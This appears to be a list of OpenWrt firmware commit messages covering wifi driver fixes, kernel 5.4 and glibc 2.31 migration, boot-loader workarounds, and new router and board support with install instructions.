257319e9b07d mt76: mt7615: never use an 802.11b CF-End rate on 5GHz
29a92c5606d6 mt76: mt7603: never use an 802.11b CF-End rate on 5GHz
c0b19ac97c07 mt76: mt7615: adjust timing in mt7615_mac_set_timing to match fw/hw values
1656882f2723 mt76: mt7615: do not adjust MAC timings if the device is not running
4e7ce907faf3 mt76: mt7615: fix tx status rate index calculation
8304b3866100 mt76: mt7603: fix tx status rate index calculation
722d1f47d8ba mt76: add rx queues info to mt76 debugfs
da329ef776b0 mt76: mt7615: parse mcu return code for unified commands
facf74fd506f mt76: mt7615: fix mt7615_firmware_own for mt7663e
e910787a9888 mt76: mt7615: fix max wtbl size for 7663
c9821f7d6a8c mt76: mt7615: fix mt7615_driver_own routine
e35cc532c3d2 mt76: mt7615: fix aid configuration in mt7615_mcu_wtbl_generic_tlv
b6cb91a71fe1 mt76: mt7615: rework mt7615_mac_sta_poll for usb code
b193dd8100f8 mt76: mt7663u: enable AirTimeFairness
31cffa98920f mt76: mt7615: move mcu bss upload before creating the sta
cde3716aa47e mt76: enable TDLS support
1846da5dd417 mt76: mt7615: set spatial extension index
6aaf0299730f mt76: mt7615: fix endian issues in dcoc/txdpd calibration
5de75b745cf9 mt76: mt7663: fix up BMC entry indicated to unicmd firmware
a5f394c5ca48 mt76: mt7615: add sta pointer to mt7615_mcu_add_bss_info signature
1f2f3dda76b9 mt76: mt7615: fix event report in mt7615_mcu_bss_event
c2a3cced36de mt76: mt76x0: enable MCS 8 and MCS9
1afabe78cfc5 mt76: mt7663: add the possibility to load firmware v2
5f3ccc722627 mt76: mt7663: remove check in mt7663_load_n9
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The official sysupgrade images for I-O DATA devices manufactured by
MSTC (MitraStar Technology Corp.) cannot be booted normally and the
kernel panics after switching to kernel 5.4.
This commit fixes the issue by using lzma-loader.
Note:
These devices use Z-LOADER to read the kernel from NAND flash and boot
it. Z-LOADER cannot load and start plain lzma-loader, so additional
lzma-compression is needed.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
In several Japanese routers with MT7621 SoC, the official sysupgrade
image cannot be booted properly after switching to kernel 5.4.
This commit fixes the issue by using lzma-loader.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
This device has trouble extracting big kernel from flash,
and supports LZMA compressed kernels only.
Using OpenWrt kernel loader saves us 64 KB compared to the dictionary
size limiting workaround.
Factory image sizes (commit: 5f126c541a) with "CONFIG_ALL_KMODS=y":
- original ("-d23", default): 4784188 bytes, LZMA ERROR 1
- with "-d19": 4915260, LZMA ERROR 1
- with "-d18": 4915260, diff to original: +128 KB
- with "-d17": 4980796, diff to original: +192 KB
- with this patch: 4849724, diff to original: +64 KB
To save some CPU cycle, use minimal compression ("-a0") for the LZMA
compressed uImage.
The most robust solution would use a different loader,
which reads the compressed kernel directly from the flash.
See the thread at [0] for more details!
[0] http://lists.infradead.org/pipermail/openwrt-devel/2020-April/022926.html
Signed-off-by: Szabolcs Hubai <szab.hu@gmail.com>
Tested-by: Stijn Segers <foss@volatilesystems.org>
[fixed identation]
Signed-off-by: David Bauer <mail@david-bauer.net>
These boards suffer from a sudden inability to establish a link on the
SGMII. Enable the workaround to fix the link when it dies.
Signed-off-by: David Bauer <mail@david-bauer.net>
ath79 does not support kernels prior to 4.19 anymore.
Remove legacy code for those kernels from the ag71xx driver.
Signed-off-by: David Bauer <mail@david-bauer.net>
This parser was added with the target, but no device seems to use it
currently, as all partitions are specified in the device-tree.
Signed-off-by: David Bauer <mail@david-bauer.net>
This fixes a bunch of cosmetic issues with GL.iNet GL-MV1000:
- apply alphabetic sorting in multiple files
- use armada-3720 prefix for DTS like for other devices
- fix vendor capitalization for model in DTSes
- remove trivial comment in DTS files
- use DEVICE_VENDOR/DEVICE_MODEL
- remove redundant SUPPORTED_DEVICES
- use SOC instead of DEVICE_DTS
- remove empty line at EOF
Fixes: 050c24f05c ("mvebu: add support for GL.iNet GL-MV1000")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
NAND driver was dropped in the 5.4 bump, so enable it back
Fixes: 50c6938b95 ("bcm53xx: add v5.4 support")
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
This seems to be over 10 years old. It doesn't seem to be needed anymore.
Tested on malta with uClibc (selected BROKEN).
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Upstream commit dda9f4b9ca ("f2fs: fix to skip verifying block address
for non-regular inode").
On 4.14, attempting to perform operations on a non-regular inode
residing on an f2fs filesystem, such rm-ing a device node, would fail
and lead to a warning / call trace in dmesg. This fix was already
applied to other kernels upstream - including 4.19, from which the patch
was taken.
More info at https://bugzilla.kernel.org/show_bug.cgi?id=202495.
Signed-off-by: Matt Merhar <mattmerhar@protonmail.com>
ftp can cause problems on some networks switch primary download location
to https and add another mirror
Signed-off-by: Lucian Cristian <lucian.cristian@gmail.com>
also change the download source to https and add a mirror
drop merged patches
Signed-off-by: Lucian Cristian <lucian.cristian@gmail.com>
[Add extra changes to compile on FreeBSD, merge two patches]
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Before, only frames with a maximum size of 1528 bytes could be
transmitted between two 802.11s nodes.
For batman-adv for instance, which adds its own header to each frame,
we typically need an MTU of at least 1532 bytes to be able to transmit
without fragmentation.
This patch now increases the maxmimum frame size from 1528 to 1656
bytes.
Tested with two ath10k devices in 802.11s mode, as well as with
batman-adv on top of 802.11s with forwarding disabled.
Fix originally found and developed by Ben Greear.
Link: https://github.com/greearb/ath10k-ct/issues/89
Link: 9e5ab25027
Cc: Ben Greear <greearb@candelatech.com>
Signed-off-by: Linus Lüssing <ll@simonwunderlich.de>
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Build with NO_LIBCAP=1. This is to resolve build issue.
Package perf is missing dependencies for the following libraries:
libcap.so.2
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
Although gdb is supported, gdbserver is still not.
checking whether gdbserver is supported on this host... no
Build breaks as gdbserver executable is not found during packaging.
Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
kmod-usb-dwc2 and kmod-usb-ledtrig-usbport are not target default packages, and
Belkin F7C027 does not have a USB port anyway. Just drop it.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Currently SUPPORTED_DEVICES only contains the old device string. Fix it by
removing the first assignment.
Fixes: c2334ad60d ("ramips/mt76x8: Synchronize Makefiles with DTS compatible")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This service file has been misplaced from the very beginning.
Fixes: dcc34574ef ("oxnas: bring in new oxnas target")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
f4d759b dhcp.c: further improve validation
Further improve input validation for CVE-2020-11752
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
cdac046 dns.c: fix input validation fix
Due to a slight foobar typo, failing to de-reference a pointer, previous
fix not quite as complete as it should have been.
Improve CVE-2020-11750 fix
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
It was reported, that after image generation rework
x86-64-generic-squashfs-rootfs.img image won't boot on XenServer x86_64
anymore:
F2FS-fs (xvda): Magic Mismatch, valid(0xf2f52010) - read(0x84289960)
F2FS-fs (xvda): Can't find valid F2FS filesystem in 1th superblock
F2FS-fs (xvda): Magic Mismatch, valid(0xf2f52010) - read(0x4e8ee223)
F2FS-fs (xvda): Can't find valid F2FS filesystem in 2th superblock
List of all partitions:
ca00 4207 xvda
driver: vbd
No filesystem could mount root, tried:
ext3
ext2
ext4
squashfs
iso9660
f2fs
Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(202,0)
So lets fix this by adding back padding which was introduced in commit
a17d9482f5 ("x86: image: fix small disk space in squashfs overlay").
Ref: FS#3036
Fixes: 258f070d1a ("x86: fix missing squashfs and ext4 rootfs images")
Fixes: cb007a7bf6 ("x86: switch image generation to new code")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
SFP cage of this device is connected via a AT8031 phy to port 5 of the switch.
This phy act as a RGMII-to-SerDes converter.
Also a I2C clock gate needs to be enabled in order to access the SFP module via I2C bus.
SFP cage also has module detect pin which is connected to I2C gpio expander.
With this patch the kernel/PHYLINK now can detect, readout and use the SFP module/port.
NOTE: SFP cage / AT8033 PHY only support 1000base-X encoding!
This means that some SGMII modules can work and only at forced 1GBit/full-duplex!
Signed-off-by: René van Dorst <opensource@vdorst.com>
This patch is needed for clause 37 1000Base-X encoding used in many SFP modules.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Signed-off-by: René van Dorst <opensource@vdorst.com>
Commit 0543eb1110 ("imx6: 5.4: add missing kernel perf monitor
symbol") has added missing kernel config symbol FSL_IMX8_DDR_PMU which
is exposed only when building perf, so add it back.
Fixes: 8d9b36270b ("imx6: refresh kernel config")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
e2ed964 jail: don't fail unless requirejail is set
17e7ae7 jail: don't load libpreload-seccomp.so if it doesn't exist
Fixesopenwrt/packages#11913
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Some boards using a QCA9556 or QCA9558 had their machine compatible
binding incorrectly set to qca,qca9557.
Signed-off-by: David Bauer <mail@david-bauer.net>
There are at least 3 different chips in the Scorpion series of SoCs.
Rename the common DTSI to better reflect it's purpose for the whole
series.
Also rename the compatible bindings from qca,ar9557 and qca,qca9557
to qca,qca9550.
Signed-off-by: David Bauer <mail@david-bauer.net>
This fixes a few minor issues (partially cosmetic) in ltq-adsl and
ltq-adsl-fw Makefiles:
- fix PKG_SOURCE_URL and switch to https
- remove non-existant FW_NAME variable
- fix package name for config inclusion
- fix config symbol for debugging
Fixes: 1d0a9d0c04 ("move ltq-adsl")
Cc: John Crispin <john@phrozen.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Between 4.19 and 5.4, mtd parsers have been moved to "parsers"
subdirectory. Like for myloader.c in the previous patch,
this patch moves tplinkpart.c to the kernel patches, so the
code and the kernel includes are at the same location and
the path can be adjusted per kernel.
While at it, remove some outdated kernel version switches from
the C code.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Between 4.19 and 5.4, mtd parsers have been moved to "parsers"
subdirectory. Based on this, the selection of myloader.o in OpenWrt
was also moved to that subdirectory, while the Kconfig and our local
myloader.c file remained in /drivers/mtd.
This resulted in linking errors like the following (on ath25@5.4):
make[8]: *** No rule to make target 'drivers/mtd/parsers/myloader.o', ...
needed by 'drivers/mtd/parsers/built-in.a'. Stop.
make[7]: *** [scripts/Makefile.build:500: drivers/mtd/parsers] Error 2
make[6]: *** [scripts/Makefile.build:500: drivers/mtd] Error 2
Since myloader.c is not too big, this patch moves it to the kernel patches,
allowing to adjust the path for kernel 5.4 and keeping Makefiles and
file paths better in sync.
Other patches have been refreshed accordingly.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The combination +@IPV6:kmod-ipsec6 is not valid, the +a:b
syntax implies the @. Fix it.
Fixes: 2e6b6f9fca ("kernel: add @IPv6 dependency to ipv6 modules")
Reported-by: Oldřich Jedlička (@oldium)
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
mt7621 and mt76x8 subtargets have been moved to kernel 5.4 and their
DTS(I) files are incompatible to kernel 4.14.
Remove the corresponding kernel config files to signal that more
boldly and to prevent accidentally patching the wrong kernel when
pulling in older config patches.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Refresh patches to make them apply to kernel 5.4.
Signed-off-by: Daniel Engberg <daniel.engberg.lists@pyret.net>
[split patch, refresh on newer kernel, add description]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
84965b92f635 blockd: print symlink error code and string message
62c578c22f9d blockd: report "target" path as "mount" for autofs available mounts
d1f1f2b38fa1 block: remove mount target file if it's a link
830441d790d6 blockd: remove symlink linkpath file if it's a dir or link
c80f7002114f libfstools/mtd: attempt to read from OOB data if empty space is found
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The fritz 7312 does not support 1000 gbit. Advertising it makes it
worse. Some NIC will change to 1000 gibt and turn off and on again for
ever.
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
This commit really removes packages in geode profiles already enabled
in kernel config.
Fixes: 9c23ecee57 ("x86: move packages selection to profiles")
Reported-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This can be rather confusing for contributors, since there are three
layers in which they can be added. As for now there are none profiles
other than generic (exception: geos) let's move them to these profiles.
Being here this commit also removes packages in geode profiles already
enabled in kernel config.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
There's no such package as forcedeth, threfore the driver is never
selected. Fix it by properly specifying package name.
Fixes: 35f208d ("x86: add nforce eth to default packages")
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Commit 7975060116 ("uboot-rockchip: add new package") has added
`OpenWRT` ident string, fix it to proper `OpenWrt`.
Fixes: 7975060116 ("uboot-rockchip: add new package")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This adds the new rockchip target and support for RockPro64 RK3399
Flash: 16 MiB SPI NOR
RAM: 2 GiB/4 GiB LPDDR4
SoC: RK3399
USB: 2x USB 2.0, 1x USB 3.0, 1x USB-C
Ethernet: 1x GbE
PCIe: PCIe 2.0, 4 lanes
Storage: eMMC or SD card
Optional SDIO wifi/bt module
The Pine64 RockPro64 is a single-board-computer with a 4x PCIe connector,
6 ARM64 cores (4 little, 2 big), plenty of RAM and storage.
By default the single Gigabit-Ethernet port is configured as the
LAN port.
Installation of the firware is possible by dd'ing the image
to an SD card or the eMMC flash.
Serial: 3v3 1500000 8n1
U-boot is build from the mainline tree and
integrated into the images. Required ATF to build u-boot
is downloaded from a CI build bot.
Signed-off-by: Tobias Mädel <t.maedel@alfeld.de>
Tested-by: Tobias Schramm <t.schramm@manjaro.org>
This is needed to build the uboot-rockchip, needed for the rockchip target
Signed-off-by: Tobias Mädel <t.maedel@alfeld.de>
Tested-by: Tobias Schramm <t.schramm@manjaro.org>
[replaced `mkdir -p` with INSTALL_DIR variable]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Update U-Boot to current 2020.04 release for kirkwood platform.
Catch up with upstream and move some configuration options from
the header files to the corresponding defconfig files.
Compile tested: all devices
Run tested: nsa310, pogoplugv4
Tested-by: Cezary Jackiewicz <cezary@eko.one.pl> [nsa310]
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
xt_MASQUERADE.ko is picked up by both kmod-ipt-nat and kmod-ipt-nat6, causing
conflict
As kmod-ipt-nat6 already depends on kmod-ipt-nat, remove xt_MASQUERADE from it
Fixes: FS#2924
Fixes: 0fad8af851 ("kernel: Include xt_MASQUERADE for kernel 5.2 and later")
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Netgear R7200 is another clone of Netgear R6700v2, introduced in:
6e80df5 ("ramips: add support for NETGEAR R6700v2/AC2400")
Reported-by: Joel Pinsker, github user @joelp64
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
SOC: Qualcomm QCA9556 (Scorpion) 560MHz MIPS74Kc
RAM: 64MB Zentel A3R12E40CBF DDR2
FLASH: 16MiB Winbond W25Q128 SPI NOR
WLAN1: QCA9556 2.4 GHz 802.11b/g/n 3x3
INPUT: WPS button
LED: Power, WiFi, LAN, RSSI indicator
Serial: Header Next to Black metal shield
Pinout is 3.3V - RX - TX - GND (Square Pad is 3.3V)
The Serial setting is 115200-8-N-1.
Installation via EVA:
In the first seconds after Power is connected, the bootloader will
listen for FTP connections on 192.168.178.1. Firmware can be uploaded
like following:
ftp> quote USER adam2
ftp> quote PASS adam2
ftp> binary
ftp> debug
ftp> passive
ftp> quote MEDIA FLSH
ftp> put openwrt-sysupgrade.bin mtd1
Note that this procedure might take up to two minutes.
You need to powercycle the device afterwards to boot OpenWRT.
Tested-by: Andreas Ziegler <dev@andreas-ziegler.de>
Signed-off-by: David Bauer <mail@david-bauer.net>
The pinctrl driver had been replaced with the upstream one in b756ea2a90
("ramips: replace pinctrl property names"), but the initial A1004ns support
patch did not reflect the changes. This commit updates its pinctrl property
names.
Fixes: 9169482f64 ("ramips: add support for ipTIME A1004ns")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This will compile glibc in a way that it will only support kernel 4.14
and later. Compatibility code for older kernel versions will be removed.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This updates glibc to the most recent version 2.31.
001-regex-read-overrun.patch was a backport from a more recent version
and is integrated in glibc 2.31.
050-Revert-Disallow-use-of-DES-encryption-functions-in-n.patch is needed
to add the DES crypto functions back again. They were removed in glibc
2.28, but we still use them in ppp.
musl lib also provides these DES crypto functions. Without them we would
have to link ppp against openssl or an other crypto library.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
When compiled with glibc the config_scan.c wants to use the
cpupolicy2numeric() function which is only available when
HAVE_SCHED_SETSCHEDULER is set. It looks like the wrong define was used here.
This fixes a build problem with glibc in combination with the force
ac_cv_func_sched_setscheduler=no in the OpenWrt CONFIGURE_VARS.
This fixes the following compile error with glibc:
----------------------------------------------------------------------
/bin/ld: config_scan.o: in function `socks_yylex':
dante-1.4.1/sockd/config_scan.l:461: undefined reference to `cpupolicy2numeric'
collect2: error: ld returned 1 exit status
make[5]: *** [Makefile:522: sockd] Error 1
Fixes: aaf46a8fe2 ("dante: disable sched_getscheduler() - not implemented in musl")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
When open() is called with O_CREAT a 3. parameter has to be given with
the file system permissions of the new file.
Not giving this is an error, which results in a compile error with glibc.
This fixes the following compile error with glibc:
----------------------------------------------------------------------
In file included from /include/fcntl.h:329,
from main.c:18:
In function 'open',
inlined from 'rbcfg_update' at main.c:501:7:
/include/bits/fcntl2.h:50:4: error: call to '__open_missing_mode' declared with attribute error: open with O_CREAT or O_TMPFILE in second argument needs 3 arguments
__open_missing_mode ();
^~~~~~~~~~~~~~~~~~~~~~
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This extra _DEFAULT_SOURCE definition results in a double definition
which is a compile error.
This fixes the following compile error with glibc:
----------------------------------------------------------------------
ugps-2019-06-25-cd7eabcd/nmea.c:19: error: "_DEFAULT_SOURCE" redefined [-Werror]
#define _DEFAULT_SOURCE
<command-line>: note: this is the location of the previous definition
cc1: all warnings being treated as errors
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
glibc 2.31 does not provide stime() any more, backport a fix from
current busybox master to avoid using this function.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Seems stable after 6 days of testing on some of my devices.
Let's switch to 5.4 in order to get more feedback.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Don't move strings anymore to /bin/strings to avoid clash with
busybox /usr/bin/strings but move it to /usr/bin/binutils-strings.
Use ALTERNATIVES support to install it as /usr/bin/strings
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
mt7621 overrides KERNEL_DTB to limit dictionary size, which isn't needed
for our lzma loader.
This saves 15KB on mt7621 devices using uimage-lzma-loader.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This commit increases the hardware SPI frequency from 24.2MHz to 48.3MHz.
[ 5.314163] m25p80 spi0.0: speed: 24166666/40000000, rate: 8, prescal: 2, loops: 226
[ 5.076323] m25p80 spi0.0: speed: 48333333/50000000, rate: 4, prescal: 1, loops: 162
`time cat /dev/mtd2 >/dev/null` is reduced from 5.64s to 4.36s on A104ns,
and from 11.39s to 8.81s on A1004ns.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
With v5.4 kernel a new gpio driver is used.
GPIO numbering has changed so update 03_gpio_switches too.
Signed-off-by: René van Dorst <opensource@vdorst.com>
With v5.4 kernel a new gpio driver is used.
GPIO numbering has changed so update 03_gpio_switches too.
Signed-off-by: René van Dorst <opensource@vdorst.com>
These stock partitons: "backup", "hw_panic", "overly", firmware_backup", "opt"
do not contain any device-specific data and can be used for /overlay, resulting in
121M space
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Increase kernel partition because 2M is insufficient for 5.4
Because the partition changes, previous version of OpenWrt cannot upgrade
to this version, and requires a new installation
Recovery to stock instruction:
1. Download stock firmware at
http://ur.ikcd.net/HC5962-sysupgrade-20171221-b00a04d1.bin
2. Power off the router
3. Press and hold the reset button for 4~6 sec while power it back on
4. Connect a PC to router's LAN
5. Visit http://192.168.2.1 and upload the firmware
Then repeat the instruction in edae3479e6 to install OpenWrt
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
There are 2 different chips (w25q256fv and w25q256jv) that share
the same JEDEC ID. Only w25q256jv fully supports 4-byte opcodes.
Use SFDP header version to differentiate between them.
Fixes broken reboot on 8devices Habanero since f0f35fdac
Signed-off-by: Mantas Pucka <mantas@8devices.com>
Some FullMAC cfg80211 wireless devices do not support virtual
interfaces, hence there is script logic to keep the existing network
device. Improve this to support renaming the interface if needed and
make sure the existing interface actually belongs to the right phy.
Change calls to 'iw' to avoid outputing warnings and errors to not
confuse users of such devices.
Also bump PKG_RELEASE which has been forgotten in the previous two
mac80211 changes.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
If we know that we have an encrypted link (based on having had
a key configured for TX in the past) then drop all data frames
in the key selection handler if there's no key anymore.
This fixes an issue with mac80211 internal TXQs - there we can
buffer frames for an encrypted link, but then if the key is no
longer there when they're dequeued, the frames are sent without
encryption. This happens if a station is disconnected while the
frames are still on the TXQ.
Detecting that a link should be encrypted based on a first key
having been configured for TX is fine as there are no use cases
for a connection going from with encryption to no encryption.
With extended key IDs, however, there is a case of having a key
configured for only decryption, so we can't just trigger this
behaviour on a key being configured.
Cc: stable@vger.kernel.org
Reported-by: Jouni Malinen <j@w1.fi>
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: Luca Coelho <luciano.coelho@intel.com>
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit adds support for the AVM Fritz!WLAN Repeater 1750E
SOC: Qualcomm QCA9556 (Scorpion) 720MHz MIPS74Kc
RAM: 64MB Zentel A3R12E40CBF DDR2
FLASH: 16MiB Winbond W25Q128 SPI NOR
WLAN1: QCA9556 2.4 GHz 802.11b/g/n 3x3
WLAN2: QCA9880 5 GHz 802.11 n/ac 3x3
INPUT: WPS button
LED: Power, WiFi, LAN, RSSI indicator
Serial: Header Next to Black metal shield
Pinout is 3.3V - RX - TX - GND (Square Pad is 3.3V)
The Serial setting is 115200-8-N-1.
Tested and working:
- Ethernet
- 2.4 GHz WiFi (correct MAC)
- 5 GHz WiFi (correct MAC)
- Installation via EVA bootloader
- OpenWRT sysupgrade
- Buttons
- LEDs
Installation via EVA:
In the first seconds after Power is connected, the bootloader will
listen for FTP connections on 192.168.178.1. Firmware can be uploaded
like following:
ftp> quote USER adam2
ftp> quote PASS adam2
ftp> binary
ftp> debug
ftp> passive
ftp> quote MEDIA FLSH
ftp> put openwrt-sysupgrade.bin mtd1
Note that this procedure might take up to two minutes.
You need to powercycle the Device afterwards to boot OpenWRT.
Signed-off-by: David Bauer <mail@david-bauer.net>
The QCA9550 family of SoCs have a slightly different reset
sequence compared to older chips.
Normally the bootloader performs this sequence, however
some bootloader implementation expect the operating system
to clear the reset. Also get the PCIe resets from OF to
support the second RC of the QCA9558.
This is required for the AVM FRITZ!WLAN Repeater 1750E to work,
as EVA leaves the PCIe bus in reset.
Tested: AVM FRITZ!WLAN Repeater 1750E - OCEDO Koala
Signed-off-by: David Bauer <mail@david-bauer.net>
Instead of using the actual interface name, a hard-coded 'wlan0' has
slipped into the script. Replace it.
Fixes: ccf2aa9d4b ("mac80211: detect existing interface before adding")
Reported-by: John Crispin <john@phrozen.org>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The previous spi-max-frequency value did not work with all the CPU speed
settings (configurable with rbcfg or from the stock firmware); the new
one does for the three of them.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Improve the status LED functionality in GL-AR750
by adding the definitions for different statuses
(boot, failsafe, running, flashing).
Signed-off-by: Hannu Nyman <hannu.nyman@iki.fi>
This adds the board name from ar71xx to support upgrade without
-F for the TP-Link TL-WA901ND v2.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ubnt er-x/xiaomi/netgear sercomm devices are known to have troble
extracting a big kernel from flash and has support for uncompressed
uimage
This commit uses uncompressed uimage with lzma-loader for these devices
to fix boot issue.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Now that the x86 target uses the new image generation code we can also
attach metadata to the created images.
As currently the `SUPPORTED_DEVICES` list is empty, no JSON metadata is
attached, however the signing happens in the same step.
This results in signature verification for x86 images.
Signed-off-by: Paul Spooren <mail@aparcar.org>
OpenWrt now has a CDN for sources at sources.cdn.openwrt.org which
mirrors sources.openwrt.org.
Downloading sources outside Europe or US (mainland) could
result in low throughput, extremely slowing down the first compilation of
the build system.
This patch adds sources.cdn.openwrt.org as the first mirror to offer
worldwide fast download speeds by default. If the CDN goes down for
whatever reason, the script jumps to the next available mirror and
downloads requested files as before (in regional varying speed).
Signed-off-by: Paul Spooren <mail@aparcar.org>
Acked-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
The JSON `WORK_DIR` ($(KDIR)/json_info_files) is only created if the new
image generation methods from `image.mk` are used. However some targets
like `armvirt` do not use it yet, so the folder is never created.
The `json_overview_image_info.py` script used to raise an error if the
given `WORK_DIR` isn't a folder, however it should just notify about
missing JSON files.
This patch removes the Python assert and exists with code 0 even if no
JSON files were found, as this is not necessarily an error but simply
not yet implemented. Using `glob` on an not existing `Path` results in
an empty list, therefore the for loop won't run.
Signed-off-by: Paul Spooren <mail@aparcar.org>
CC: Petr Štetiar <ynezz@true.cz>
From kernel 4.20 msm-gpio driver is broken and cause the
malfunction of the buttons on every ipq806x target.
Add a patch to fix this.
Tested-by: Hannu Nyman <hannu.nyman@iki.fi>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
32c717e jail: only mess with rootfs if CLONE_NEWNS was set
b275a62 instance: harmonize instance API
511fd97 jail: make /proc more secure
4953b7c jail: mount /sys read-only
a4d6442 jail: replace /etc/resolv.conf with symlink in extroot+overlay
a4cc165 jail: always mount /dev as additional tmpfs
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This applies further fixes to the DTS of ZyXEL NBG6716 based on
what is found in ar71xx (mach-nbg6716.c):
- use WiFi label names as in ar71xx
- fix WPS gpio number
- fix GPIO_ACTIVE_HIGH and mode for WiFi switch
- add codes for USB eject buttons
- fix node name for "internet" LED
This device has separate LEDs for WAN and "Internet". As the WAN-LED
(and the four LAN-LEDs) are driven independent of the setup in
DT/01_leds, the "internet" LED is left unassigned (in contrast to
ar71xx, where it was set up effectively as a second WAN LED)
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit 1b973b54ea.
It turns out act_police is included in the kmod-sched package so this
package turns out to be superfluous and causes file provision conflicts.
Ooooops! Best revert it then.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Some devices have bootloaders with broken lzma code resulting in failed
decompression or corrupted kernel code.
This image recipe allows to sacrifice 5KB for OpenWrt LZMA loader and
take over the task of decompress kernel.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Loader platform is a per-soc variable instead of a per-device one.
Determine corresponding loader platform at the beginning of image
Makefile.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Enables spi-mem interface usage. It speeds up flash read
in about 3x while it also workaround a possible hardware
bug when normal spi read is used.
Fixes: FS#2742
Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
Reimplements read optimization on top of spi-mem. Similar to
what 461-spi-ath79-add-fast-flash-read.patch used to do with
the dropped flash read interface.
It accelerate only fast-read op reading flash directly from
memory mapped region. 'm25p,fast-read' must be set in order
to use the new spi-mem.
It improved read speed up to 3x on old devices (tplink,tl-wr2543-v1)
while no speed improvement was noticed on newer devices like
(tplink,archer-c7-v2).
Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
The previous commit introduced a regression for netns jails without
jail_ifname set. Fix that.
Fixes: 4e4f7c6d2d ("netifd: network namespace jail improvements")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
aaaca2e interface: allocate and free memory for jail name
d93126d interface: allow renaming interface when moving to jail netns
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
forcedeth is necessary to use the integrated
ethernet controller of Nvidia nForce chipset.
There are PC motherboards with this chipset
from 2001 that run 32bit Athlon XP CPUs and
more modern ones up to 2009 that can run Intel
and AMD 64bit processors, so add this to
all non-geode x86 targets.
Signed-off-by: Alberto Bursi <bobafetthotmail@gmail.com>
These patches were necessarry for Atheros and some Intel WiFi cards.
After short testing, the current upstream driver state is enough for
these WiFi cards to work. If there are still some issues with other
devices, the patches could be easily restored.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Buffalo LinkStation LS421DE is a dual bay NAS, based on Marvell Armada 370
Hardware:
SoC: Marvell Armada 88F6707-A1
CPU: Cortex-A9 1200 MHz, 1 core
Flash: SPI-NOR 1 MiB, NAND 512 MiB
RAM: DDR3 512 MiB
Ethernet: 1x 10/100/1000 Mbps
USB: 1x 2.0, 1x 3.0
SATA: 2x 3.0 Gbps
LEDs/Input : 5x / 2x (1x button, 1x slide-switch)
